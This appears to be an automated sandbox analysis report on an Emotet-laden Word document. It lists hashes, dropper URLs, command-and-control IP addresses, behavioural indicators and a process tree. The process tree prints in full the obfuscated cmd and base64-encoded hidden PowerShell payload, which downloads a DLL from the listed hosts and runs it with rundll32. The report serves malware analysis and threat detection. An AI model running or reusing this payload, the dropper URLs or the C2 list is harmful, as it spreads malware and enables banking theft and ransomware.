emotet | 985fae09feedd61a2e56ed1ddbae8de0d34a19c65ab3eb12b057303258aff99c

Analysis

max time kernel
140s
max time network
149s
platform
windows7_x64
resource
win7v20201028
submitted
27-01-2021 04:55

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General

Target

Datos_2021_D_81958.doc
Size

165KB
MD5

81cdd55af265255b18a9b2700f475d76
SHA1

c60563e15a43058a594c36c5ec54dd8ef74c6b6b
SHA256

985fae09feedd61a2e56ed1ddbae8de0d34a19c65ab3eb12b057303258aff99c
SHA512

03230f229410699bf36ca57948e722438c891bba187cfeaa96454f7259ec6d9e11d0d8a5597facbb777a04edc4c89659ea11e9b9f6997091077060bee488c431

Score

10^/10

emotet epoch2 banker ransomware trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://inhaustyle.com/wp-admin/7OtP5/

exe.dropper

https://elsadinc.com/wp-content/B/

exe.dropper

https://jolifm.com/new/5hkc3/

exe.dropper

https://technologydistilled.com/a-nurse-ss8d9/z/

exe.dropper

http://o7therapy.com/egyptian-comedy-hiiro/As0/

exe.dropper

http://signinsolution.com/wp-content/Vr0/

exe.dropper

http://cashstreamfinancial.com/wp-admin/23/

Extracted

Family

emotet

Botnet

Epoch2

69.38.130.14:80

195.159.28.230:8080

162.241.204.233:8080

115.21.224.117:80

78.189.148.42:80

181.165.68.127:80

78.188.225.105:80

161.0.153.60:80

89.106.251.163:80

172.125.40.123:80

5.39.91.110:7080

110.145.11.73:80

190.251.200.206:80

144.217.7.207:7080

75.109.111.18:80

75.177.207.146:80

139.59.60.244:8080

70.183.211.3:80

95.213.236.64:8080

61.19.246.238:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1188 1736 cmd.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1188	1736	cmd.exe

Blocklisted process makes network request 10 IoCs

Processes:

powershell.exerundll32.exe

flow	pid	process
6	1216	powershell.exe
8	1216	powershell.exe
10	1216	powershell.exe
12	1216	powershell.exe
14	1216	powershell.exe
16	1980	rundll32.exe
17	1980	rundll32.exe
20	1980	rundll32.exe
21	1980	rundll32.exe
24	1980	rundll32.exe

Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1976 rundll32.exe
1976 rundll32.exe
1976 rundll32.exe
1976 rundll32.exe
1008 rundll32.exe
1008 rundll32.exe
1008 rundll32.exe
1008 rundll32.exe

pid	process
1976	rundll32.exe
1976	rundll32.exe
1976	rundll32.exe
1976	rundll32.exe
1008	rundll32.exe
1008	rundll32.exe
1008	rundll32.exe
1008	rundll32.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exerundll32.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\Pwqzcolihrcwg\bjpspauyrpno.ftb	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
ransomware

System Information Discovery
T1082
Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1684 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exerundll32.exe

pid process

1216 powershell.exe
1216 powershell.exe
1980 rundll32.exe
1980 rundll32.exe
1980 rundll32.exe
1980 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1216 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1684 WINWORD.EXE
1684 WINWORD.EXE

pid	process
1684	WINWORD.EXE

pid	process
1216	powershell.exe
1216	powershell.exe
1980	rundll32.exe
1980	rundll32.exe
1980	rundll32.exe
1980	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1216	powershell.exe

pid	process
1684	WINWORD.EXE
1684	WINWORD.EXE

Suspicious use of WriteProcessMemory 37 IoCs

Processes:

cmd.exepowershell.exerundll32.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1188 wrote to memory of 436	1188	cmd.exe	msg.exe
PID 1188 wrote to memory of 436	1188	cmd.exe	msg.exe
PID 1188 wrote to memory of 436	1188	cmd.exe	msg.exe
PID 1188 wrote to memory of 1216	1188	cmd.exe	powershell.exe
PID 1188 wrote to memory of 1216	1188	cmd.exe	powershell.exe
PID 1188 wrote to memory of 1216	1188	cmd.exe	powershell.exe
PID 1216 wrote to memory of 1344	1216	powershell.exe	rundll32.exe
PID 1216 wrote to memory of 1344	1216	powershell.exe	rundll32.exe
PID 1216 wrote to memory of 1344	1216	powershell.exe	rundll32.exe
PID 1344 wrote to memory of 1976	1344	rundll32.exe	rundll32.exe
PID 1344 wrote to memory of 1976	1344	rundll32.exe	rundll32.exe
PID 1344 wrote to memory of 1976	1344	rundll32.exe	rundll32.exe
PID 1344 wrote to memory of 1976	1344	rundll32.exe	rundll32.exe
PID 1344 wrote to memory of 1976	1344	rundll32.exe	rundll32.exe
PID 1344 wrote to memory of 1976	1344	rundll32.exe	rundll32.exe
PID 1344 wrote to memory of 1976	1344	rundll32.exe	rundll32.exe
PID 1976 wrote to memory of 1008	1976	rundll32.exe	rundll32.exe
PID 1976 wrote to memory of 1008	1976	rundll32.exe	rundll32.exe
PID 1976 wrote to memory of 1008	1976	rundll32.exe	rundll32.exe
PID 1976 wrote to memory of 1008	1976	rundll32.exe	rundll32.exe
PID 1976 wrote to memory of 1008	1976	rundll32.exe	rundll32.exe
PID 1976 wrote to memory of 1008	1976	rundll32.exe	rundll32.exe
PID 1976 wrote to memory of 1008	1976	rundll32.exe	rundll32.exe
PID 1008 wrote to memory of 1912	1008	rundll32.exe	rundll32.exe
PID 1008 wrote to memory of 1912	1008	rundll32.exe	rundll32.exe
PID 1008 wrote to memory of 1912	1008	rundll32.exe	rundll32.exe
PID 1008 wrote to memory of 1912	1008	rundll32.exe	rundll32.exe
PID 1008 wrote to memory of 1912	1008	rundll32.exe	rundll32.exe
PID 1008 wrote to memory of 1912	1008	rundll32.exe	rundll32.exe
PID 1008 wrote to memory of 1912	1008	rundll32.exe	rundll32.exe
PID 1912 wrote to memory of 1980	1912	rundll32.exe	rundll32.exe
PID 1912 wrote to memory of 1980	1912	rundll32.exe	rundll32.exe
PID 1912 wrote to memory of 1980	1912	rundll32.exe	rundll32.exe
PID 1912 wrote to memory of 1980	1912	rundll32.exe	rundll32.exe
PID 1912 wrote to memory of 1980	1912	rundll32.exe	rundll32.exe
PID 1912 wrote to memory of 1980	1912	rundll32.exe	rundll32.exe
PID 1912 wrote to memory of 1980	1912	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Datos_2021_D_81958.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1684

C:\Windows\system32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IABzAFYAIAAgAGUAcgB5AEQANABHACAAIAAoACAAIABbAFQAWQBQAGUAXQAoACIAewA0AH0AewA1AH0AewAzAH0AewAwAH0AewAxAH0AewAyAH0AIgAgAC0ARgAgACcAZABpAFIARQBDAHQATwAnACwAJwByACcALAAnAFkAJwAsACcALgAnACwAJwBzAHkAcwBUAEUAbQAuAEkAJwAsACcAbwAnACkAIAApADsAIAAgACAAUwBFAFQAIAAoACIAdwAiACsAIgAzAEMAdAA1ACIAKQAgACgAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsANQB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIAIAAtAGYAIAAnAHMAJwAsACcAcABvAEkAbgB0AG0AQQBuAGEARwBlAHIAJwAsACcARQB0ACcALAAnAFYASQBjAEUAJwAsACcALgBTAEUAcgAnACwAJwB5AHMAVABlAG0ALgBuACcAKQAgACAAKQAgADsAJABLAGoAdQAwAHEAeQB6AD0AJABGADAAXwBNACAAKwAgAFsAYwBoAGEAcgBdACgAMwAzACkAIAArACAAJABQADAAOQBQADsAJABOADMAMgBYAD0AKAAnAFQAMgAnACsAJwA2AFMAJwApADsAIAAoACAAIABWAEEAcgBJAGEAYgBsAEUAIABFAFIAWQBkADQARwAgAC0AVgBhAGwAdQBlAG8ATgBsAHkAKQA6ADoAIgBjAFIAYABlAGEAdABFAGQAaQBgAFIAYABlAEMAVABPAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0AQwA1AGsAXwBvAHkAeAB7ADAAfQBQACcAKwAnAG8AJwArACcAMAAnACsAJwBwADUAOQBwAHsAMAAnACsAJwB9ACcAKQAgACAALQBGAFsAQwBoAGEAcgBdADkAMgApACkAOwAkAFMANQBfAEQAPQAoACcARwAnACsAKAAnADUAJwArACcAOABNACcAKQApADsAIAAoAEMAaABJAEwARABpAFQARQBNACAAKAAnAHYAQQBSAEkAYQBCAEwARQA6AFcAJwArACcAMwAnACsAJwBjACcAKwAnAFQANQAnACkAKQAuAFYAYQBsAFUARQA6ADoAIgBTAGAAZQBgAGMAVQByAEkAYABUAHkAUABSAE8AVABvAGAAYwBPAGwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAnACkAKwAnADEAMgAnACkAOwAkAEkANgAwAFMAPQAoACcATwAnACsAKAAnADkAJwArACcAMwBVACcAKQApADsAJABLADYAdAA1AG8AXwBwACAAPQAgACgAJwBZACcAKwAoACcANwA1ACcAKwAnAFUAJwApACkAOwAkAEwANgA4AFAAPQAoACcARwA1ACcAKwAnADMAVgAnACkAOwAkAEUAcwAzADgAcQAxADcAPQAkAEgATwBNAEUAKwAoACgAJwB7ACcAKwAnADAAfQBDACcAKwAoACcANQAnACsAJwBrAF8AbwAnACkAKwAnAHkAJwArACcAeAB7ADAAJwArACcAfQBQAG8AMABwADUAOQAnACsAJwBwAHsAMAB9ACcAKQAgAC0ARgAgACAAWwBjAEgAYQByAF0AOQAyACkAKwAkAEsANgB0ADUAbwBfAHAAKwAnAC4AZAAnACAAKwAgACcAbABsACcAOwAkAFQAMAA5AFoAPQAoACgAJwBFADMAJwArACcAMwAnACkAKwAnAEMAJwApADsAJABVAGUANwBhAGQAcQA4AD0AJwBoACcAIAArACAAJwB0AHQAJwAgACsAIAAnAHAAJwA7ACQASgByAHgAbgBqAG4AMgA9ACgAKAAnAHgAJwArACcAIABbACAAcwBoACcAKQArACgAJwAgACcAKwAnAGIAOgAnACsAJwAvAC8AaQBuACcAKwAnAGgAYQB1ACcAKQArACgAJwBzAHQAeQAnACsAJwBsAGUALgAnACkAKwAoACcAYwBvAG0ALwB3AHAALQAnACsAJwBhACcAKwAnAGQAbQAnACkAKwAnAGkAbgAnACsAJwAvADcAJwArACcATwB0ACcAKwAnAFAAJwArACgAJwA1ACcAKwAnAC8AIQB4ACcAKQArACgAJwAgACcAKwAnAFsAIABzACcAKQArACgAJwBoACcAKwAnACAAJwArACcAYgBzADoALwAvAGUAbABzACcAKQArACgAJwBhACcAKwAnAGQAaQBuACcAKwAnAGMALgAnACsAJwBjAG8AbQAvAHcAcAAtAGMAbwAnACkAKwAoACcAbgB0AGUAbgB0AC8AJwArACcAQgAvACEAJwArACcAeAAnACkAKwAoACcAIABbACcAKwAnACAAcwBoACAAYgBzACcAKQArACgAJwA6AC8AJwArACcALwBqACcAKQArACgAJwBvAGwAJwArACcAaQBmACcAKQArACgAJwBtACcAKwAnAC4AYwBvACcAKQArACcAbQAnACsAJwAvAG4AJwArACgAJwBlACcAKwAnAHcALwA1ACcAKQArACcAaABrACcAKwAoACcAYwAzAC8AJwArACcAIQB4ACAAWwAnACsAJwAgAHMAaAAnACkAKwAnACAAYgAnACsAKAAnAHMAOgAvACcAKwAnAC8AJwApACsAKAAnAHQAJwArACcAZQBjAGgAbgBvACcAKwAnAGwAbwAnACkAKwAoACcAZwB5ACcAKwAnAGQAaQBzAHQAaQBsAGwAZQBkAC4AJwArACcAYwBvACcAKQArACgAJwBtAC8AYQAnACsAJwAtAG4AdQByACcAKwAnAHMAZQAnACsAJwAtAHMAJwApACsAJwBzADgAJwArACgAJwBkACcAKwAnADkALwB6ACcAKwAnAC8AIQAnACkAKwAnAHgAJwArACcAIAAnACsAKAAnAFsAIABzAGgAJwArACcAIABiACcAKQArACcAOgAnACsAKAAnAC8ALwAnACsAJwBvACcAKQArACgAJwA3AHQAaABlAHIAYQBwACcAKwAnAHkAJwArACcALgBjAG8AbQAvACcAKQArACgAJwBlACcAKwAnAGcAJwArACcAeQBwAHQAaQBhAG4ALQBjAG8AbQAnACsAJwBlAGQAeQAtAGgAaQAnACsAJwBpACcAKQArACgAJwByACcAKwAnAG8ALwBBACcAKQArACgAJwBzADAALwAhACcAKwAnAHgAIABbACAAJwArACcAcwBoACcAKQArACgAJwAgAGIAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvAHMAaQBnAG4AJwArACcAaQAnACkAKwAnAG4AJwArACgAJwBzAG8AJwArACcAbAB1AHQAJwApACsAJwBpAG8AJwArACgAJwBuAC4AYwBvAG0ALwAnACsAJwB3AHAALQAnACsAJwBjAG8AbgB0ACcAKwAnAGUAbgB0ACcAKwAnAC8AVgByADAALwAnACkAKwAoACcAIQB4ACcAKwAnACAAWwAgACcAKQArACgAJwBzACcAKwAnAGgAIAAnACkAKwAoACcAYgAnACsAJwA6AC8AJwApACsAKAAnAC8AJwArACcAYwBhAHMAJwApACsAKAAnAGgAJwArACcAcwB0ACcAKQArACcAcgBlACcAKwAnAGEAbQAnACsAJwBmACcAKwAoACcAaQBuACcAKwAnAGEAJwArACcAbgBjAGkAYQBsACcAKwAnAC4AYwBvACcAKwAnAG0ALwB3AHAAJwApACsAKAAnAC0AYQBkACcAKwAnAG0AaQBuAC8AMgAnACsAJwAzAC8AJwApACkALgAiAHIAZQBQAGAATABhAEMARQAiACgAKAAoACcAeAAgAFsAJwArACcAIABzAGgAIAAnACkAKwAnAGIAJwApACwAKABbAGEAcgByAGEAeQBdACgAJwBuAGoAJwAsACcAdAByACcAKQAsACcAeQBqACcALAAnAHMAYwAnACwAJABVAGUANwBhAGQAcQA4ACwAJwB3AGQAJwApAFsAMwBdACkALgAiAHMAYABQAEwASQBUACIAKAAkAEEANAA2AEQAIAArACAAJABLAGoAdQAwAHEAeQB6ACAAKwAgACQAQQBfADgARgApADsAJABFADEAMwBZAD0AKAAoACcAVAA4ACcAKwAnADEAJwApACsAJwBIACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVgB3AGsAMQB3AGYAdwAgAGkAbgAgACQASgByAHgAbgBqAG4AMgApAHsAdAByAHkAewAoACYAKAAnAE4AZQB3AC0ATwBiAGoAZQAnACsAJwBjACcAKwAnAHQAJwApACAAcwB5AFMAVABFAG0ALgBOAEUAdAAuAFcAZQBCAEMAbABpAGUAbgBUACkALgAiAEQAbwB3AG4AYABsAG8AYABBAGQARgBgAEkAbABlACIAKAAkAFYAdwBrADEAdwBmAHcALAAgACQARQBzADMAOABxADEANwApADsAJABaADMAMQBQAD0AKAAoACcAUQBfACcAKwAnADMAJwApACsAJwBTACcAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABFAHMAMwA4AHEAMQA3ACkALgAiAEwAYABlAGAATgBnAHQASAAiACAALQBnAGUAIAAzADYAMwAwADQAKQAgAHsAJgAoACcAcgB1AG4AJwArACcAZAAnACsAJwBsAGwAMwAyACcAKQAgACQARQBzADMAOABxADEANwAsACgAKAAnAEEAJwArACcAbgB5AFMAJwApACsAKAAnAHQAcgBpAG4AJwArACcAZwAnACkAKQAuACIAVABgAG8AUwBUAHIAaQBOAEcAIgAoACkAOwAkAEkANAA2AEQAPQAoACcAWgAnACsAKAAnADYANQAnACsAJwBGACcAKQApADsAYgByAGUAYQBrADsAJABTADEAMwBaAD0AKAAnAFIAJwArACgAJwAwACcAKwAnAF8ASAAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARABfADAASQA9ACgAJwBJADAAJwArACcAMgBPACcAKQA=
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1188

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:436

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc IABzAFYAIAAgAGUAcgB5AEQANABHACAAIAAoACAAIABbAFQAWQBQAGUAXQAoACIAewA0AH0AewA1AH0AewAzAH0AewAwAH0AewAxAH0AewAyAH0AIgAgAC0ARgAgACcAZABpAFIARQBDAHQATwAnACwAJwByACcALAAnAFkAJwAsACcALgAnACwAJwBzAHkAcwBUAEUAbQAuAEkAJwAsACcAbwAnACkAIAApADsAIAAgACAAUwBFAFQAIAAoACIAdwAiACsAIgAzAEMAdAA1ACIAKQAgACgAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsANQB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIAIAAtAGYAIAAnAHMAJwAsACcAcABvAEkAbgB0AG0AQQBuAGEARwBlAHIAJwAsACcARQB0ACcALAAnAFYASQBjAEUAJwAsACcALgBTAEUAcgAnACwAJwB5AHMAVABlAG0ALgBuACcAKQAgACAAKQAgADsAJABLAGoAdQAwAHEAeQB6AD0AJABGADAAXwBNACAAKwAgAFsAYwBoAGEAcgBdACgAMwAzACkAIAArACAAJABQADAAOQBQADsAJABOADMAMgBYAD0AKAAnAFQAMgAnACsAJwA2AFMAJwApADsAIAAoACAAIABWAEEAcgBJAGEAYgBsAEUAIABFAFIAWQBkADQARwAgAC0AVgBhAGwAdQBlAG8ATgBsAHkAKQA6ADoAIgBjAFIAYABlAGEAdABFAGQAaQBgAFIAYABlAEMAVABPAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0AQwA1AGsAXwBvAHkAeAB7ADAAfQBQACcAKwAnAG8AJwArACcAMAAnACsAJwBwADUAOQBwAHsAMAAnACsAJwB9ACcAKQAgACAALQBGAFsAQwBoAGEAcgBdADkAMgApACkAOwAkAFMANQBfAEQAPQAoACcARwAnACsAKAAnADUAJwArACcAOABNACcAKQApADsAIAAoAEMAaABJAEwARABpAFQARQBNACAAKAAnAHYAQQBSAEkAYQBCAEwARQA6AFcAJwArACcAMwAnACsAJwBjACcAKwAnAFQANQAnACkAKQAuAFYAYQBsAFUARQA6ADoAIgBTAGAAZQBgAGMAVQByAEkAYABUAHkAUABSAE8AVABvAGAAYwBPAGwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAnACkAKwAnADEAMgAnACkAOwAkAEkANgAwAFMAPQAoACcATwAnACsAKAAnADkAJwArACcAMwBVACcAKQApADsAJABLADYAdAA1AG8AXwBwACAAPQAgACgAJwBZACcAKwAoACcANwA1ACcAKwAnAFUAJwApACkAOwAkAEwANgA4AFAAPQAoACcARwA1ACcAKwAnADMAVgAnACkAOwAkAEUAcwAzADgAcQAxADcAPQAkAEgATwBNAEUAKwAoACgAJwB7ACcAKwAnADAAfQBDACcAKwAoACcANQAnACsAJwBrAF8AbwAnACkAKwAnAHkAJwArACcAeAB7ADAAJwArACcAfQBQAG8AMABwADUAOQAnACsAJwBwAHsAMAB9ACcAKQAgAC0ARgAgACAAWwBjAEgAYQByAF0AOQAyACkAKwAkAEsANgB0ADUAbwBfAHAAKwAnAC4AZAAnACAAKwAgACcAbABsACcAOwAkAFQAMAA5AFoAPQAoACgAJwBFADMAJwArACcAMwAnACkAKwAnAEMAJwApADsAJABVAGUANwBhAGQAcQA4AD0AJwBoACcAIAArACAAJwB0AHQAJwAgACsAIAAnAHAAJwA7ACQASgByAHgAbgBqAG4AMgA9ACgAKAAnAHgAJwArACcAIABbACAAcwBoACcAKQArACgAJwAgACcAKwAnAGIAOgAnACsAJwAvAC8AaQBuACcAKwAnAGgAYQB1ACcAKQArACgAJwBzAHQAeQAnACsAJwBsAGUALgAnACkAKwAoACcAYwBvAG0ALwB3AHAALQAnACsAJwBhACcAKwAnAGQAbQAnACkAKwAnAGkAbgAnACsAJwAvADcAJwArACcATwB0ACcAKwAnAFAAJwArACgAJwA1ACcAKwAnAC8AIQB4ACcAKQArACgAJwAgACcAKwAnAFsAIABzACcAKQArACgAJwBoACcAKwAnACAAJwArACcAYgBzADoALwAvAGUAbABzACcAKQArACgAJwBhACcAKwAnAGQAaQBuACcAKwAnAGMALgAnACsAJwBjAG8AbQAvAHcAcAAtAGMAbwAnACkAKwAoACcAbgB0AGUAbgB0AC8AJwArACcAQgAvACEAJwArACcAeAAnACkAKwAoACcAIABbACcAKwAnACAAcwBoACAAYgBzACcAKQArACgAJwA6AC8AJwArACcALwBqACcAKQArACgAJwBvAGwAJwArACcAaQBmACcAKQArACgAJwBtACcAKwAnAC4AYwBvACcAKQArACcAbQAnACsAJwAvAG4AJwArACgAJwBlACcAKwAnAHcALwA1ACcAKQArACcAaABrACcAKwAoACcAYwAzAC8AJwArACcAIQB4ACAAWwAnACsAJwAgAHMAaAAnACkAKwAnACAAYgAnACsAKAAnAHMAOgAvACcAKwAnAC8AJwApACsAKAAnAHQAJwArACcAZQBjAGgAbgBvACcAKwAnAGwAbwAnACkAKwAoACcAZwB5ACcAKwAnAGQAaQBzAHQAaQBsAGwAZQBkAC4AJwArACcAYwBvACcAKQArACgAJwBtAC8AYQAnACsAJwAtAG4AdQByACcAKwAnAHMAZQAnACsAJwAtAHMAJwApACsAJwBzADgAJwArACgAJwBkACcAKwAnADkALwB6ACcAKwAnAC8AIQAnACkAKwAnAHgAJwArACcAIAAnACsAKAAnAFsAIABzAGgAJwArACcAIABiACcAKQArACcAOgAnACsAKAAnAC8ALwAnACsAJwBvACcAKQArACgAJwA3AHQAaABlAHIAYQBwACcAKwAnAHkAJwArACcALgBjAG8AbQAvACcAKQArACgAJwBlACcAKwAnAGcAJwArACcAeQBwAHQAaQBhAG4ALQBjAG8AbQAnACsAJwBlAGQAeQAtAGgAaQAnACsAJwBpACcAKQArACgAJwByACcAKwAnAG8ALwBBACcAKQArACgAJwBzADAALwAhACcAKwAnAHgAIABbACAAJwArACcAcwBoACcAKQArACgAJwAgAGIAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvAHMAaQBnAG4AJwArACcAaQAnACkAKwAnAG4AJwArACgAJwBzAG8AJwArACcAbAB1AHQAJwApACsAJwBpAG8AJwArACgAJwBuAC4AYwBvAG0ALwAnACsAJwB3AHAALQAnACsAJwBjAG8AbgB0ACcAKwAnAGUAbgB0ACcAKwAnAC8AVgByADAALwAnACkAKwAoACcAIQB4ACcAKwAnACAAWwAgACcAKQArACgAJwBzACcAKwAnAGgAIAAnACkAKwAoACcAYgAnACsAJwA6AC8AJwApACsAKAAnAC8AJwArACcAYwBhAHMAJwApACsAKAAnAGgAJwArACcAcwB0ACcAKQArACcAcgBlACcAKwAnAGEAbQAnACsAJwBmACcAKwAoACcAaQBuACcAKwAnAGEAJwArACcAbgBjAGkAYQBsACcAKwAnAC4AYwBvACcAKwAnAG0ALwB3AHAAJwApACsAKAAnAC0AYQBkACcAKwAnAG0AaQBuAC8AMgAnACsAJwAzAC8AJwApACkALgAiAHIAZQBQAGAATABhAEMARQAiACgAKAAoACcAeAAgAFsAJwArACcAIABzAGgAIAAnACkAKwAnAGIAJwApACwAKABbAGEAcgByAGEAeQBdACgAJwBuAGoAJwAsACcAdAByACcAKQAsACcAeQBqACcALAAnAHMAYwAnACwAJABVAGUANwBhAGQAcQA4ACwAJwB3AGQAJwApAFsAMwBdACkALgAiAHMAYABQAEwASQBUACIAKAAkAEEANAA2AEQAIAArACAAJABLAGoAdQAwAHEAeQB6ACAAKwAgACQAQQBfADgARgApADsAJABFADEAMwBZAD0AKAAoACcAVAA4ACcAKwAnADEAJwApACsAJwBIACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVgB3AGsAMQB3AGYAdwAgAGkAbgAgACQASgByAHgAbgBqAG4AMgApAHsAdAByAHkAewAoACYAKAAnAE4AZQB3AC0ATwBiAGoAZQAnACsAJwBjACcAKwAnAHQAJwApACAAcwB5AFMAVABFAG0ALgBOAEUAdAAuAFcAZQBCAEMAbABpAGUAbgBUACkALgAiAEQAbwB3AG4AYABsAG8AYABBAGQARgBgAEkAbABlACIAKAAkAFYAdwBrADEAdwBmAHcALAAgACQARQBzADMAOABxADEANwApADsAJABaADMAMQBQAD0AKAAoACcAUQBfACcAKwAnADMAJwApACsAJwBTACcAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABFAHMAMwA4AHEAMQA3ACkALgAiAEwAYABlAGAATgBnAHQASAAiACAALQBnAGUAIAAzADYAMwAwADQAKQAgAHsAJgAoACcAcgB1AG4AJwArACcAZAAnACsAJwBsAGwAMwAyACcAKQAgACQARQBzADMAOABxADEANwAsACgAKAAnAEEAJwArACcAbgB5AFMAJwApACsAKAAnAHQAcgBpAG4AJwArACcAZwAnACkAKQAuACIAVABgAG8AUwBUAHIAaQBOAEcAIgAoACkAOwAkAEkANAA2AEQAPQAoACcAWgAnACsAKAAnADYANQAnACsAJwBGACcAKQApADsAYgByAGUAYQBrADsAJABTADEAMwBaAD0AKAAnAFIAJwArACgAJwAwACcAKwAnAF8ASAAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARABfADAASQA9ACgAJwBJADAAJwArACcAMgBPACcAKQA=
2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1216

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\C5k_oyx\Po0p59p\Y75U.dll AnyString
3⤵
- Suspicious use of WriteProcessMemory
PID:1344

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\C5k_oyx\Po0p59p\Y75U.dll AnyString
4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1976

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Admin\C5k_oyx\Po0p59p\Y75U.dll",#1
5⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1008

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Pwqzcolihrcwg\bjpspauyrpno.ftb",aZjPSWBtcpikBnj
6⤵
- Suspicious use of WriteProcessMemory
PID:1912

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Pwqzcolihrcwg\bjpspauyrpno.ftb",#1
7⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1980

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

